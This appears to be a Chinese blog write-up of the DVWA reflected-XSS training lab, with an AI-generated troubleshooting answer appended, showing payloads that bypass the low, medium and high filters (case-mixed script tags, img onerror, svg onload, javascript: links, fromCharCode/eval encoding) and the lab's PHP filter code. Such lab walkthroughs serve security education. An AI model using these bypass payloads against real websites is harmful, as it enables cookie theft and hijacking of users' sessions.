DVWA - XSS (Reflected) (low, medium, high)

本文探讨了不同安全级别下XSS攻击的防御措施及绕过方法,包括使用小写标签、替换标签和正则表达式过滤等手段,并提出了一些有效的绕过策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

low

无验证,直接注入

<script>alert(document.cookie)</script>

medium

查看源码发现过滤了<scrpit>标签

$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

绕过思路:大写

<Script>alert(document.cookie)</script>

high

查看源码,可发现用正则过滤了

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

绕过思路:标签很多,换一种标签即可。这里用img

<img src=1 onerror=alert(document.cookie)>

【这又是一个梗,感觉可以从正面绕过这个正则,路过的朋友指教一下,thank you!】

注:谷歌浏览器默认配置是不会执行alert的,可换其他浏览器测试。

<think>好的,我现在要解决用户在DVWA中进行XSS攻击时无法弹窗的问题。首先,我需要回忆一下DVWA的基本设置。DVWA(Damn Vulnerable Web Application)是一个用于安全测试的环境,用户通常会在不同的安全级别下进行练习,比如LowMediumHighXSS攻击弹窗不出现,可能有多种原因。 首先,用户可能是在较高的安全级别下进行测试。比如,在MediumHigh级别下,DVWA会有一些防护措施,比如过滤<script>标签或对输入进行转义。这时候,我需要检查当前的安全级别,并建议用户将其调至Low级别进行测试。 其次,输入的payload可能被过滤或处理了。例如,在Medium级别中,可能会使用str_replace函数替换<script>标签。这时候,用户需要尝试其他标签,比如<img src=x onerror=alert(1)>,或者使用大小写混淆绕过过滤,比如<ScRiPt>alert(1)</ScRiPt>。 另外,浏览器的安全机制也可能阻止弹窗。比如,现代浏览器对反射型XSS可能会有内置的保护措施,特别是如果URL中包含alert()这类常见函数。这时候,可以尝试换用其他函数,比如prompt()或confirm(),或者使用编码绕过,比如将alert(1)转换成String.fromCharCode(97,108,101,114,116,40,49,41)然后通过eval执行。 还需要检查是否有输入长度限制。某些情况下,DVWA的输入字段可能有长度限制,导致payload被截断。这时候,可以尝试缩短payload,或者通过浏览器开发者工具移除输入框的maxlength属性。 此外,确保用户是在正确的模块下测试。DVWA中有反射型XSSReflected)和存储型XSS(Stored),如果用户在错误的模块输入payload,也可能无法触发弹窗。需要确认用户是否在正确的页面提交payload。 最后,可能需要查看服务器端的代码,了解具体的过滤机制。例如,在High级别的DVWA中,可能会使用正则表达式彻底过滤脚本标签,这时候需要更高级的绕过技巧,比如事件处理程序或使用其他HTML元素。 总结下来,可能的解决步骤包括:检查安全级别、尝试不同payload、绕过浏览器保护、处理输入限制、确认测试模块,以及分析服务器端过滤逻辑。接下来需要将这些步骤整理成用户友好的解答,并提供具体的示例和引用相关知识点。</think>### DVWAXSS攻击无法弹窗的解决方法 在DVWA中遇到XSS攻击无法弹窗的问题,通常与安全级别设置、输入过滤或浏览器防护机制有关。以下是逐步排查和解决的方法: --- #### **1. 确认DVWA安全级别** DVWA的安全级别(Low/Medium/High)直接影响XSS漏洞的利用难度: - **Low级别**:无防护,直接使用`<script>alert(1)</script>`即可弹窗。 - **Medium/High级别**:可能过滤`<script>`标签或转义特殊字符[^1]。 **操作步骤**: 1. 登录DVWA,点击左侧`DVWA Security`。 2. 将安全级别调整为**Low**后重试。 --- #### **2. 尝试绕过过滤的Payload** 若安全级别为MediumHigh,需使用绕过技巧: - **Medium级别**:过滤`<script>`标签,但未处理大小写或事件属性。 ```html <!-- 使用大小写混淆 --> <ScRiPt>alert(1)</ScRiPt> <!-- 使用HTML事件属性 --> <img src=x onerror=alert(1)> ``` - **High级别**:可能彻底过滤脚本标签,需利用其他方式: ```html <!-- 使用伪协议或编码绕过 --> <a href="javascript:alert(1)">Click</a> <svg onload=alert(1)> ``` --- #### **3. 检查浏览器防护机制** 现代浏览器(如Chrome)可能拦截反射型XSS弹窗: - **解决方法**: 1. 改用`prompt()`或`confirm()`代替`alert()`: ```html <script>prompt(1)</script> ``` 2. 使用编码绕过检测: ```html <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> ``` 3. 更换浏览器(如Firefox)测试。 --- #### **4. 处理输入长度限制** 某些DVWA输入字段(如存储型XSS)有长度限制: - **操作步骤**: 1. 打开浏览器开发者工具(F12)。 2. 找到输入框,删除`maxlength`属性后提交长payload。 --- #### **5. 确认测试的XSS类型** DVWA包含两种XSS模块: - **反射型XSSReflected)**:Payload直接显示在URL中,需通过输入框提交。 - **存储型XSS(Stored)**:Payload需提交到数据库(如留言板),刷新页面后触发。 **示例**(存储型XSS): ```html <textarea><svg onload=alert(1)></textarea> ``` --- #### **6. 查看服务器端过滤逻辑** 分析DVWA源码(以反射型XSS为例): - **Low级别**:无过滤: ```php <?php echo $_GET['name']; // 直接输出输入内容 ?> ``` - **Medium级别**:部分过滤: ```php <?php $name = str_replace('<script>', '', $_GET['name']); // 替换<script>标签 echo $name; ?> ``` - **High级别**:严格过滤: ```php <?php $name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']); // 正则过滤 echo $name; ?> ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值